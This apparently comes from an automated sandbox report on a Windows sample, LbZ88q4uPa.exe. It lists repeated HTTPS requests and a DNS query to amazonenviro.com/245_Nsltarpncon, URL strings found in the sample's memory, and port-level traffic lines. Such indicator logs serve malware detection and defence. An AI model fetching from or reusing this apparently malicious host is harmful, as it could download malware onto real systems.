Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: global traffic

DNS traffic detected: DNS query: amazonenviro.com

Source: LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/(
Source: LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com//
Source: LbZ88q4uPa.exe, 00000000.00000002.2953251401.0000000020653000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon
Source: LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon(zp
Source: LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006C1000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon)
Source: LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon.64.1.1
Source: LbZ88q4uPa.exe, 00000000.00000003.2045905291.0000000021360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon/
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon0
Source: LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon5
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon8i8
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncon?
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconF
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconH
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconL
Source: LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconM~.
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1949462184.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconP
Source: LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconV
Source: LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconW
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704914093.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1787030219.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_NsltarpnconW~
Source: LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconb
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770742988.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconc
Source: LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconc)
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconi
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpnconq
Source: LbZ88q4uPa.exe, 00000000.00000003.1949462184.00000000006F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/245_Nsltarpncony
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/7
Source: LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/8
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/?
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/G
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/J
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1704822504.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1721298684.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/O
Source: LbZ88q4uPa.exe, 00000000.00000003.2359917596.00000000006D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/W
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/X
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/_
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/g
Source: LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/h
Source: LbZ88q4uPa.exe, 00000000.00000003.1770560082.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1786893756.00000000006EA000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/o
Source: LbZ88q4uPa.exe, 00000000.00000003.2686960798.00000000006EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com/w
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2359840806.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2188951037.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2489960662.000000000070A000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2260288403.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon
Source: LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2686960798.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon3
Source: LbZ88q4uPa.exe, 00000000.00000003.2489960662.000000000070A000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon5zm
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_NsltarpnconZZZZ:s
Source: LbZ88q4uPa.exe, 00000000.00000003.2516597867.0000000000716000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpncon_
Source: LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconclose
Source: LbZ88q4uPa.exe, 00000000.00000003.1949462184.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconerse
Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.0000000000719000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2888515027.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconiro.comhtep
Source: LbZ88q4uPa.exe, 00000000.00000003.2359840806.0000000000719000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconj
Source: LbZ88q4uPa.exe, 00000000.00000003.2188951037.0000000021382000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000003.2260288403.0000000021382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://amazonenviro.com:443/245_Nsltarpnconlg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
